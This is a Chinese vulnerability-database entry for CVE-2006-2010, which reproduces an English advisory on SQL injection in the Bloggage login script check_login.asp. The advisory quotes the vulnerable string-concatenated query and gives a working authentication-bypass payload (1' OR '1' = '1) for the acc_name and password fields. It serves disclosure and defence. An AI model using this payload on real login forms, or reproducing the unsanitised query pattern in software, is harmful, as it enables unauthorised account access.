Bloggage Check_login.ASP 多个SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1195231 漏洞类型 SQL注入
发布时间 2006-04-25 更新时间 2006-04-26
CVE编号 CVE-2006-2010 CNNVD-ID CNNVD-200604-471
漏洞平台 N/A CVSS评分 7.5
|漏洞来源
https://cxsecurity.com/issue/WLB-2006040076
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200604-471
|漏洞详情
Bloggage中的check_login.asp存在多个SQL注入漏洞。这使得远程攻击者可以借助于参数(1)acc_name和(2)password执行任意SQL命令。
|漏洞EXP
I found a Remote SQL Injection into bloggage.

------------------------------------------------------------------
          - bloggage Remote SQL Injection Exploit -
   -= http://colander.altervista.org/advisory/bloggage.txt =-
------------------------------------------------------------------

			-= Bloggage =-



Omnipresent
April 20, 2006


Vunerability(s):
----------------
SQL Injection


Product:
--------
bloggage

Vendor:
--------
http://ccc.domaindlx.com/bloggage/default.asp


Description of product:
-----------------------

Now Bloggage is Open Source!!!

Welcome to bloggage. It is a new generation fusion of blogging and homepage. It is made for those who currently 
keep separate homepages and blogs and find it difficult to maintain both. Anyone can use bloggage with ease. 
It has many unique features such as user privileges, commenting system, WYSIWYG editor, template system, customized 
layout of the blog and many others. Best of all, It's FREE!!!!!! So enjoy bloggage and please supply your comments for 
future improvements.


Vulnerability / Exploit:
------------------------

This software is vulnerable to a SQL Injection.

If you look into: login.asp there is:

<form action="check_login.asp" method="post">
      <table width="100%" border="0">
        <tr>
          <td width="16%">Account Name</td>
          <td width="84%"><input name="acc_name" type="text" maxlength="50"></td>
        </tr>
        <tr>
          <td>Password</td>
          <td><input name="password" type="password" maxlength="50"></td>
        </tr>
        <tr>

[...]

You can see that this script call an other script called check_login.asp.
In check_loging.asp there is a flaw that can allow an attacker to exploit the hole with Remote SQL Injection because the 
variables acc_name and password are not properly sanitised.

So, in check_login.asp there is:

[...]
RS.Open "SELECT Account_Name FROM registration WHERE Account_Name='" & acc_name & "' AND Password='" & password & "'", DB
[...]

If an attacker put this codes 1' OR '1' = '1 into acc_name and password variables he can login into blogger!

the query will be:

RS.Open "SELECT Account_Name FROM registration WHERE Account_Name='1' OR '1' = '1' AND Password='1' OR '1' = '1', DB


Vendor Status
-------------

The vendor is informed but I've not received reply!

Credits:
--------
omnipresent
omnipresent@email.it
|参考资料

来源:VUPEN
名称:ADV-2006-1448
链接:http://www.frsirt.com/english/advisories/2006/1448
来源:SECUNIA
名称:19751
链接:http://secunia.com/advisories/19751
来源:MISC
链接:http://colander.altervista.org/advisory/bloggage.txt
来源:XF
名称:bloggage-checklogin-sql-injection(25955)
链接:http://xforce.iss.net/xforce/xfdb/25955
来源:BID
名称:17639
链接:http://www.securityfocus.com/bid/17639
来源:BUGTRAQ
名称:20060421bloggageRemoteSQLInjection
链接:http://www.securityfocus.com/archive/1/archive/1/431673/100/0/threaded
来源:OSVDB
名称:24797
链接:http://www.osvdb.org/24797
来源:SREASON
名称:751
链接:http://securityreason.com/securityalert/751